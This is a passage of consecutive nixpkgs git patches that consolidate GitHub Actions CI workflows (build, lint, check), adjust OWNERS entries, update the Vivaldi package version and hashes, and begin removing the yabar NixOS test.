Subject: [PATCH 0987/4511] workflows/nixpkgs-vet: remove outdated comment

We are using a concurrency group by now.

(cherry picked from commit 07173e1bfd4a9f447ee8fed040bcafd794e45208)
---
 .github/workflows/nixpkgs-vet.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/.github/workflows/nixpkgs-vet.yml b/.github/workflows/nixpkgs-vet.yml
index df0ce2401c4c..0843117e14c7 100644
--- a/.github/workflows/nixpkgs-vet.yml
+++ b/.github/workflows/nixpkgs-vet.yml
@@ -17,9 +17,6 @@ concurrency:
 
 permissions: {}
 
-# We don't use a concurrency group here, because the action is triggered quite often (due to the PR edit trigger), and contributors would get notified on any canceled run.
-# There is a feature request for suppressing notifications on concurrency-canceled runs: https://github.com/orgs/community/discussions/13015
-
 defaults:
   run:
     shell: bash

From c69bf3d31096568b9fc4f4b455f7fc41ad36e2ef Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 18:55:25 +0200
Subject: [PATCH 0988/4511] workflows: run without condition on changed paths

To enable *required status checks / workflows* in the future, we'd like
to run all workflows unconditionally. Since those workflows are already
using cachix, the additional runs will be very cheap. Yes, we'll run
additional jobs, but that will be temporary only, see next commits.

The immediate upside is, that we're not going to accidentally miss some
of the paths that would cause rebuilds as we did in the past.

(cherry picked from commit 540fd4e30f7d3de2ee908febff560af23bd800ca)
---
 .github/workflows/check-shell.yml       | 3 ---
 .github/workflows/lib-tests.yml         | 3 ---
 .github/workflows/manual-nixos-v2.yml   | 9 ---------
 .github/workflows/manual-nixpkgs-v2.yml | 4 ----
 4 files changed, 19 deletions(-)

diff --git a/.github/workflows/check-shell.yml b/.github/workflows/check-shell.yml
index 37eddde22529..5f25b45ac163 100644
--- a/.github/workflows/check-shell.yml
+++ b/.github/workflows/check-shell.yml
@@ -5,9 +5,6 @@ on:
     paths:
       - .github/workflows/check-shell.yml
   pull_request_target:
-    paths:
-      - 'shell.nix'
-      - 'ci/**'
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
diff --git a/.github/workflows/lib-tests.yml b/.github/workflows/lib-tests.yml
index 4a22a5e2dfdc..a8efbde6fd69 100644
--- a/.github/workflows/lib-tests.yml
+++ b/.github/workflows/lib-tests.yml
@@ -5,9 +5,6 @@ on:
     paths:
       - .github/workflows/lib-tests.yml
   pull_request_target:
-    paths:
-      - 'lib/**'
-      - 'maintainers/**'
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
diff --git a/.github/workflows/manual-nixos-v2.yml b/.github/workflows/manual-nixos-v2.yml
index f2728da91c93..347668a0ea79 100644
--- a/.github/workflows/manual-nixos-v2.yml
+++ b/.github/workflows/manual-nixos-v2.yml
@@ -8,15 +8,6 @@ on:
     branches:
       - master
       - release-*
-    paths:
-      - "nixos/**"
-      # Also build when the nixpkgs doc changed, since we take things like
-      # the release notes and some css and js files from there.
-      # See nixos/doc/manual/default.nix
-      - "doc/**"
-      # Build when something in lib changes
-      # Since the lib functions are used to 'massage' the options before producing the manual
-      - "lib/**"
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
diff --git a/.github/workflows/manual-nixpkgs-v2.yml b/.github/workflows/manual-nixpkgs-v2.yml
index f68fae524e90..1bd1e950578d 100644
--- a/.github/workflows/manual-nixpkgs-v2.yml
+++ b/.github/workflows/manual-nixpkgs-v2.yml
@@ -5,10 +5,6 @@ on:
     paths:
       - .github/workflows/manual-nixpkgs-v2.yml
   pull_request_target:
-    paths:
-      - 'doc/**'
-      - 'lib/**'
-      - 'pkgs/by-name/ni/nixdoc/**'
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}

From d39cc5ac0d226472f663267b7ff1e88ffd2c3f41 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 21:51:14 +0200
Subject: [PATCH 0989/4511] workflows/build: build all the basics in a single
 workflow

This new workflow builds both manuals, the shell and the lib tests all
in a matrix of four jobs. This allows re-using the shared checkout and
the pinned nixpkgs download and saves time in the most likely cache: No
changes, just download from cache. Each step checks the cancelled
condition, which causes it to run even if the previous steps failed.
This way we get a full picture even if the first step fails immediately.

This could later be optimized to build more in parallel as well, but
we'll first need to clear the conditions on building the manuals on the
master branch only.

This reduces the number of jobs from up to 8 to 4 for this part.

(cherry picked from commit cd82aa54f525559f157360c3432d923bae3798a8)
---
 .../{manual-nixos-v2.yml => build.yml}        | 46 ++++++++++++----
 .github/workflows/check-shell.yml             | 55 -------------------
 .github/workflows/lib-tests.yml               | 44 ---------------
 .github/workflows/manual-nixpkgs-v2.yml       | 43 ---------------
 4 files changed, 36 insertions(+), 152 deletions(-)
 rename .github/workflows/{manual-nixos-v2.yml => build.yml} (52%)
 delete mode 100644 .github/workflows/check-shell.yml
 delete mode 100644 .github/workflows/lib-tests.yml
 delete mode 100644 .github/workflows/manual-nixpkgs-v2.yml

diff --git a/.github/workflows/manual-nixos-v2.yml b/.github/workflows/build.yml
similarity index 52%
rename from .github/workflows/manual-nixos-v2.yml
rename to .github/workflows/build.yml
index 347668a0ea79..d92f73eb0d3a 100644
--- a/.github/workflows/manual-nixos-v2.yml
+++ b/.github/workflows/build.yml
@@ -1,13 +1,10 @@
-name: "Build NixOS manual v2"
+name: Build
 
 on:
   pull_request:
     paths:
-      - .github/workflows/manual-nixos-v2.yml
+      - .github/workflows/build.yml
   pull_request_target:
-    branches:
-      - master
-      - release-*
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
@@ -20,16 +17,24 @@ defaults:
     shell: bash
 
 jobs:
-  nixos:
-    name: nixos-manual-build
+  build:
     strategy:
       fail-fast: false
       matrix:
         include:
           - runner: ubuntu-24.04
             system: x86_64-linux
+            builds: [shell,manual-nixos,lib-tests]
           - runner: ubuntu-24.04-arm
             system: aarch64-linux
+            builds: [shell,manual-nixos,manual-nixpkgs,manual-nixpkgs-tests]
+          - runner: macos-13
+            system: x86_64-darwin
+            builds: [shell]
+          - runner: macos-14
+            system: aarch64-darwin
+            builds: [shell]
+    name: ${{ matrix.system }}
     runs-on: ${{ matrix.runner }}
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
@@ -50,13 +55,34 @@ jobs:
           name: nixpkgs-ci
           authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
 
+      - name: Build shell
+        if: contains(matrix.builds, 'shell')
+        run: nix-build untrusted/ci -A shell
+
       - name: Build NixOS manual
-        id: build-manual
-        run: nix-build untrusted/ci -A manual-nixos --argstr system ${{ matrix.system }}
+        if: |
+          contains(matrix.builds, 'manual-nixos') && !cancelled() &&
+          (github.base_ref == 'master' || startsWith(github.base_ref, 'release-'))
+        run: nix-build untrusted/ci -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
+
+      - name: Build Nixpkgs manual
+        if: contains(matrix.builds, 'manual-nixpkgs') && !cancelled()
+        run: nix-build untrusted/ci -A manual-nixpkgs -A manual-nixpkgs-tests
+
+      - name: Build Nixpkgs manual tests
+        if: contains(matrix.builds, 'manual-nixpkgs-tests') && !cancelled()
+        run: nix-build untrusted/ci -A manual-nixpkgs-tests
+
+      - name: Build lib tests
+        if: contains(matrix.builds, 'lib-tests') && !cancelled()
+        run: nix-build untrusted/ci -A lib-tests
 
       - name: Upload NixOS manual
+        if: |
+          contains(matrix.builds, 'manual-nixos') && !cancelled() &&
+          (github.base_ref == 'master' || startsWith(github.base_ref, 'release-'))
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
         with:
           name: nixos-manual-${{ matrix.system }}
-          path: result/
+          path: nixos-manual
           if-no-files-found: error
diff --git a/.github/workflows/check-shell.yml b/.github/workflows/check-shell.yml
deleted file mode 100644
index 5f25b45ac163..000000000000
--- a/.github/workflows/check-shell.yml
+++ /dev/null
@@ -1,55 +0,0 @@
-name: "Check shell"
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/check-shell.yml
-  pull_request_target:
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  shell-check:
-    strategy:
-      fail-fast: false
-      matrix:
-        include:
-          - runner: ubuntu-24.04
-            system: x86_64-linux
-          - runner: ubuntu-24.04-arm
-            system: aarch64-linux
-          - runner: macos-13
-            system: x86_64-darwin
-          - runner: macos-14
-            system: aarch64-darwin
-
-    name: shell-check-${{ matrix.system }}
-    runs-on: ${{ matrix.runner }}
-
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-
-      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
-        with:
-          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
-          name: nixpkgs-ci
-          authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
-
-      - name: Build shell
-        run: nix-build untrusted/ci -A shell
diff --git a/.github/workflows/lib-tests.yml b/.github/workflows/lib-tests.yml
deleted file mode 100644
index a8efbde6fd69..000000000000
--- a/.github/workflows/lib-tests.yml
+++ /dev/null
@@ -1,44 +0,0 @@
-name: "Building Nixpkgs lib-tests"
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/lib-tests.yml
-  pull_request_target:
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  nixpkgs-lib-tests:
-    name: nixpkgs-lib-tests
-    runs-on: ubuntu-24.04
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-        with:
-          extra_nix_config: sandbox = true
-
-      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
-        with:
-          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
-          name: nixpkgs-ci
-          authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
-
-      - name: Building Nixpkgs lib-tests
-        run: |
-          nix-build untrusted/ci -A lib-tests
diff --git a/.github/workflows/manual-nixpkgs-v2.yml b/.github/workflows/manual-nixpkgs-v2.yml
deleted file mode 100644
index 1bd1e950578d..000000000000
--- a/.github/workflows/manual-nixpkgs-v2.yml
+++ /dev/null
@@ -1,43 +0,0 @@
-name: "Build Nixpkgs manual v2"
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/manual-nixpkgs-v2.yml
-  pull_request_target:
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  nixpkgs:
-    name: nixpkgs-manual-build
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-        with:
-          extra_nix_config: sandbox = true
-
-      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
-        with:
-          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
-          name: nixpkgs-ci
-          authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
-
-      - name: Building Nixpkgs manual
-        run: nix-build untrusted/ci -A manual-nixpkgs -A manual-nixpkgs-tests

From 4b21b23a97762dc8c32c09b872cc9501aa9c3c1b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 22:14:02 +0200
Subject: [PATCH 0990/4511] workflows/lint: run all the static lints in same
 workflow

They still run in separate jobs, but they give us a nice consistent
appearance in the check list: All of them are starting with "Lint /
...".

(cherry picked from commit 7de034555644ba323a89633d69ebbd887ba4dc03)
---
 .github/workflows/check-format.yml |  50 --------------
 .github/workflows/lint.yml         | 101 +++++++++++++++++++++++++++++
 .github/workflows/nix-parse-v2.yml |  41 ------------
 .github/workflows/nixpkgs-vet.yml  |  54 ---------------
 4 files changed, 101 insertions(+), 145 deletions(-)
 delete mode 100644 .github/workflows/check-format.yml
 create mode 100644 .github/workflows/lint.yml
 delete mode 100644 .github/workflows/nix-parse-v2.yml
 delete mode 100644 .github/workflows/nixpkgs-vet.yml

diff --git a/.github/workflows/check-format.yml b/.github/workflows/check-format.yml
deleted file mode 100644
index ef1e3e1a7456..000000000000
--- a/.github/workflows/check-format.yml
+++ /dev/null
@@ -1,50 +0,0 @@
-name: Check that files are formatted
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/check-format.yml
-  pull_request_target:
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  nixos:
-    name: fmt-check
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-        with:
-          extra_nix_config: sandbox = true
-
-      - name: Check that files are formatted
-        run: |
-          # Note that it's fine to run this on untrusted code because:
-          # - There's no secrets accessible here
-          # - The build is sandboxed
-          if ! nix-build untrusted/ci -A fmt.check; then
-            echo "Some files are not properly formatted"
-            echo "Please format them by going to the Nixpkgs root directory and running one of:"
-            echo "  nix-shell --run treefmt"
-            echo "  nix develop --command treefmt"
-            echo "  nix fmt"
-            echo "Make sure your branch is up to date with master; rebase if not."
-            echo "If you're having trouble, please ping @NixOS/nix-formatting"
-            exit 1
-          fi
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
new file mode 100644
index 000000000000..c26160ba8f07
--- /dev/null
+++ b/.github/workflows/lint.yml
@@ -0,0 +1,101 @@
+name: Lint
+
+on:
+  pull_request:
+    paths:
+      - .github/workflows/lint.yml
+  pull_request_target:
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
+permissions: {}
+
+defaults:
+  run:
+    shell: bash
+
+jobs:
+  treefmt:
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: .github/actions
+      - name: Check if the PR can be merged and checkout the merge commit
+        uses: ./.github/actions/get-merge-commit
+        with:
+          merged-as-untrusted: true
+
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
+        with:
+          extra_nix_config: sandbox = true
+
+      - name: Check that files are formatted
+        run: |
+          # Note that it's fine to run this on untrusted code because:
+          # - There's no secrets accessible here
+          # - The build is sandboxed
+          if ! nix-build untrusted/ci -A fmt.check; then
+            echo "Some files are not properly formatted"
+            echo "Please format them by going to the Nixpkgs root directory and running one of:"
+            echo "  nix-shell --run treefmt"
+            echo "  nix develop --command treefmt"
+            echo "  nix fmt"
+            echo "Make sure your branch is up to date with master; rebase if not."
+            echo "If you're having trouble, please ping @NixOS/nix-formatting"
+            exit 1
+          fi
+
+  parse:
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: .github/actions
+      - name: Check if the PR can be merged and checkout the merge commit
+        uses: ./.github/actions/get-merge-commit
+        with:
+          merged-as-untrusted: true
+
+      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        with:
+          extra_nix_config: sandbox = true
+
+      - name: Parse all nix files
+        run: |
+          # Tests multiple versions at once, let's make sure all of them run, so keep-going.
+          nix-build untrusted/ci -A parse --keep-going
+
+  nixpkgs-vet:
+    runs-on: ubuntu-24.04-arm
+    # This should take 1 minute at most, but let's be generous. The default of 6 hours is definitely too long.
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: .github/actions
+      - name: Check if the PR can be merged and checkout merged and target commits
+        uses: ./.github/actions/get-merge-commit
+        with:
+          merged-as-untrusted: true
+          target-as-trusted: true
+
+      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+        with:
+          extra_nix_config: sandbox = true
+
+      - name: Running nixpkgs-vet
+        env:
+          # Force terminal colors to be enabled. The library that `nixpkgs-vet` uses respects https://bixense.com/clicolors/
+          CLICOLOR_FORCE: 1
+        run: |
+          if nix-build untrusted/ci -A nixpkgs-vet --arg base "./trusted" --arg head "./untrusted"; then
+            exit 0
+          else
+            exitCode=$?
+            echo "To run locally: ./ci/nixpkgs-vet.sh $GITHUB_BASE_REF https://github.com/$GITHUB_REPOSITORY.git"
+            echo "If you're having trouble, ping @NixOS/nixpkgs-vet"
+            exit "$exitCode"
+          fi
diff --git a/.github/workflows/nix-parse-v2.yml b/.github/workflows/nix-parse-v2.yml
deleted file mode 100644
index bd920bd1e7a0..000000000000
--- a/.github/workflows/nix-parse-v2.yml
+++ /dev/null
@@ -1,41 +0,0 @@
-name: "Check whether nix files are parseable v2"
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/nix-parse-v2.yml
-  pull_request_target:
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  tests:
-    name: nix-files-parseable-check
-    runs-on: ubuntu-24.04-arm
-    if: "!contains(github.event.pull_request.title, '[skip treewide]')"
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout the merge commit
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-        with:
-          extra_nix_config: sandbox = true
-          nix_path: nixpkgs=channel:nixpkgs-unstable
-
-      - name: Parse all nix files
-        run: |
-          # Tests multiple versions at once, let's make sure all of them run, so keep-going.
-          nix-build untrusted/ci -A parse --keep-going
diff --git a/.github/workflows/nixpkgs-vet.yml b/.github/workflows/nixpkgs-vet.yml
deleted file mode 100644
index 0843117e14c7..000000000000
--- a/.github/workflows/nixpkgs-vet.yml
+++ /dev/null
@@ -1,54 +0,0 @@
-# `nixpkgs-vet` is a tool to vet Nixpkgs: its architecture, package structure, and more.
-# Among other checks, it makes sure that `pkgs/by-name` (see `../../pkgs/by-name/README.md`) follows the validity rules outlined in [RFC 140](https://github.com/NixOS/rfcs/pull/140).
-# When you make changes to this workflow, please also update `ci/nixpkgs-vet.sh` to reflect the impact of your work to the CI.
-# See https://github.com/NixOS/nixpkgs-vet for details on the tool and its checks.
-
-name: Vet nixpkgs
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/nixpkgs-vet.yml
-  pull_request_target:
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
-  cancel-in-progress: true
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  check:
-    name: nixpkgs-vet
-    runs-on: ubuntu-24.04-arm
-    # This should take 1 minute at most, but let's be generous. The default of 6 hours is definitely too long.
-    timeout-minutes: 10
-    steps:
-      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-        with:
-          sparse-checkout: .github/actions
-      - name: Check if the PR can be merged and checkout merged and target commits
-        uses: ./.github/actions/get-merge-commit
-        with:
-          merged-as-untrusted: true
-          target-as-trusted: true
-
-      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
-
-      - name: Running nixpkgs-vet
-        env:
-          # Force terminal colors to be enabled. The library that `nixpkgs-vet` uses respects https://bixense.com/clicolors/
-          CLICOLOR_FORCE: 1
-        run: |
-          if nix-build untrusted/ci -A nixpkgs-vet --arg base "./trusted" --arg head "./untrusted"; then
-            exit 0
-          else
-            exitCode=$?
-            echo "To run locally: ./ci/nixpkgs-vet.sh $GITHUB_BASE_REF https://github.com/$GITHUB_REPOSITORY.git"
-            echo "If you're having trouble, ping @NixOS/nixpkgs-vet"
-            exit "$exitCode"
-          fi

From e6c1c7751361fe910d75f061bf979f67a304654e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 30 May 2025 18:21:16 +0200
Subject: [PATCH 0991/4511] workflows/check: run "checks" in one workflow

This introduces "check" as another category of jobs suitable for the
"Require status checks to pass" feature.

Checks as a category would include everything that is done before even
looking at the code: Right branch? Commit messages? Cherry-picked
correctly?

(commit messages are not checked, yet)

(cherry picked from commit f11b58a7a099b701c3d929ea2cded036a0a5dafd)
---
 .../{check-cherry-picks.yml => check.yml}     | 36 +++++++++++++------
 .github/workflows/no-channel.yml              | 30 ----------------
 2 files changed, 26 insertions(+), 40 deletions(-)
 rename .github/workflows/{check-cherry-picks.yml => check.yml} (86%)
 delete mode 100644 .github/workflows/no-channel.yml

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check.yml
similarity index 86%
rename from .github/workflows/check-cherry-picks.yml
rename to .github/workflows/check.yml
index 618c1cf9ffed..b348bef5bfc0 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check.yml
@@ -1,29 +1,45 @@
-name: "Check cherry-picks"
+name: Check
 
 on:
   pull_request:
     paths:
-      - .github/workflows/check-cherry-picks.yml
+      - .github/workflows/check.yml
   pull_request_target:
-    branches:
-      - 'release-**'
-      - 'staging-**'
-      - '!staging-next'
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
   cancel-in-progress: true
 
-permissions:
-  pull-requests: write
+permissions: {}
 
 defaults:
   run:
     shell: bash
 
 jobs:
-  check:
-    name: cherry-pick-check
+  no-channel-base:
+    name: no channel base
+    if: |
+      startsWith(github.base_ref, 'nixos-') ||
+      startsWith(github.base_ref, 'nixpkgs-')
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - run: |
+          cat <<EOF
+          The nixos-* and nixpkgs-* branches are pushed to by the channel
+          release script and should not be merged into directly.
+
+          Please target the equivalent release-* branch or master instead.
+          EOF
+          exit 1
+
+  cherry-pick:
+    if: |
+      github.event_name == 'pull_request' ||
+      startsWith(github.base_ref, 'release-') ||
+      (startsWith(github.base_ref, 'staging-') && github.base_ref != 'staging-next')
+    permissions:
+      pull-requests: write
     runs-on: ubuntu-24.04-arm
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
diff --git a/.github/workflows/no-channel.yml b/.github/workflows/no-channel.yml
deleted file mode 100644
index d02d422d5d71..000000000000
--- a/.github/workflows/no-channel.yml
+++ /dev/null
@@ -1,30 +0,0 @@
-name: "No channel PR"
-
-on:
-  pull_request:
-    paths:
-      - .github/workflows/no-channel.yml
-  pull_request_target:
-
-permissions: {}
-
-defaults:
-  run:
-    shell: bash
-
-jobs:
-  fail:
-    if: |
-      startsWith(github.event.pull_request.base.ref, 'nixos-') ||
-      startsWith(github.event.pull_request.base.ref, 'nixpkgs-')
-    name: "This PR is targeting a channel branch"
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - run: |
-          cat <<EOF
-          The nixos-* and nixpkgs-* branches are pushed to by the channel
-          release script and should not be merged into directly.
-
-          Please target the equivalent release-* branch or master instead.
-          EOF
-          exit 1

From 1fd7b8bdc4379dcf5314588cbf08cbd049dca04f Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Thu, 12 Jun 2025 15:05:50 +0800
Subject: [PATCH 0992/4511] vivaldi: 7.4.3684.46 -> 7.4.3684.50

(cherry picked from commit 18ee421781c941832342b5be6d0c5ff0e1a56019)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 70a9d9c87ce2..0b897add5442 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.4.3684.46";
+  version = "7.4.3684.50";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-vcTuqCZy0OlfO5Iz06QVGJRtT3L55wWdmE9R6Y3P1/k=";
-        x86_64-linux = "sha256-uD2CZ4OEZbLIDgl3VGdHwr0edyJd4Gv/C22Z5wQMYk8=";
+        aarch64-linux = "sha256-we9+rJ8hOiMboNmcLlu6V/2Q/1lAwpQ+hu9s+JVXJcI=";
+        x86_64-linux = "sha256-JC/vKl2BU+P6qyU8WhiLoVd4nEG2EYYvwOVPqdVa2Eo=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From c6908fc8f0e2fcbb1281ed385c2cb84152f67dfa Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 30 May 2025 18:55:46 +0200
Subject: [PATCH 0993/4511] OWNERS: simplify workflow/ci owners

The current setup causes the Security team and the other owners of
.github/workflows to **not** be pinged for the
check-format/codeowners-v2/nixpkgs-vet workflows. This was highly likely
unintended when adding those additional rules, so removing them.

Also, we have some owners looking after `workflows/`, but not `ci/` -
and some the other way around. This doesn't make much sense to me, since
both parts depend on each other very much.

(cherry picked from commit b98e7bb95a1e66d951a9c517cadb151694358bad)
---
 ci/OWNERS | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/ci/OWNERS b/ci/OWNERS
index 1249734ecb56..b37a3d81affc 100644
--- a/ci/OWNERS
+++ b/ci/OWNERS
@@ -15,12 +15,9 @@
 
 # CI
 /.github/*_TEMPLATE*                    @SigmaSquadron
-/.github/actions                        @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther
-/.github/workflows                      @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther
-/.github/workflows/check-format.yml     @infinisil @wolfgangwalther
-/.github/workflows/codeowners-v2.yml    @infinisil @wolfgangwalther
-/.github/workflows/nixpkgs-vet.yml      @infinisil @philiptaron @wolfgangwalther
-/ci                                     @infinisil @philiptaron @NixOS/Security @wolfgangwalther
+/.github/actions                        @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
+/.github/workflows                      @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
+/ci                                     @NixOS/Security @Mic92 @zowoq @infinisil @azuwis @wolfgangwalther @philiptaron
 /ci/OWNERS                              @infinisil @philiptaron
 
 # Development support

From 17144dbef91f0e80003fb327ff3eec656637a7a0 Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Mon, 9 Jun 2025 15:49:05 +0800
Subject: [PATCH 0994/4511] nixosTests.yabar: drop

(cherry picked from commit 9410c857bf17fbd4f0c57d985590df7851f4109b)
---
 nixos/tests/all-tests.nix |  1 -
 nixos/tests/yabar.nix     | 30 ------------------------------
 2 files changed, 31 deletions(-)
 delete mode 100644 nixos/tests/yabar.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index e27dce1734ce..b5ac575ad25c 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1484,7 +1484,6 @@ in
   xss-lock = runTest ./xss-lock.nix;
   xterm = runTest ./xterm.nix;
   xxh = runTest ./xxh.nix;
-  yabar = runTest ./yabar.nix;
   yarr = runTest ./yarr.nix;
   ydotool = handleTest ./ydotool.nix { };
   yggdrasil = runTest ./yggdrasil.nix;
diff --git a/nixos/tests/yabar.nix b/nixos/tests/yabar.nix
deleted file mode 100644
index 13a207f74829..000000000000
--- a/nixos/tests/yabar.nix
+++ /dev/null
@@ -1,30 +0,0 @@
-{
-  name = "yabar";
-  meta.maintainers = [ ];
-
-  nodes.machine = {
-    imports = [
